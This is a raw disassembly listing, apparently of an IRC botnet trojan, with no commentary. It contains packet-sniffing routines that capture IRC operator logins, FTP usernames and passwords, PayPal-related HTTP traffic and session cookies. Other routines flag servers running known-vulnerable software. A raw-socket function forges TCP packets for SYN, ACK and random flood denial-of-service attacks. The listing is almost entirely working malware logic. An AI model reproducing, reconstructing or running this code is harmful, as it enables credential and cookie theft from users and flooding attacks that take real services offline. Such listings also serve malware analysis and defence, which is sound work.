		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 229D81Ch
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0507h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B026Ah
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B026Ah
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 3DE85759h, 90022EC5h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C4C6E857h, 8D90022Eh, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 0C45EE890h, 106A022Eh, 57E4458Dh,	83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
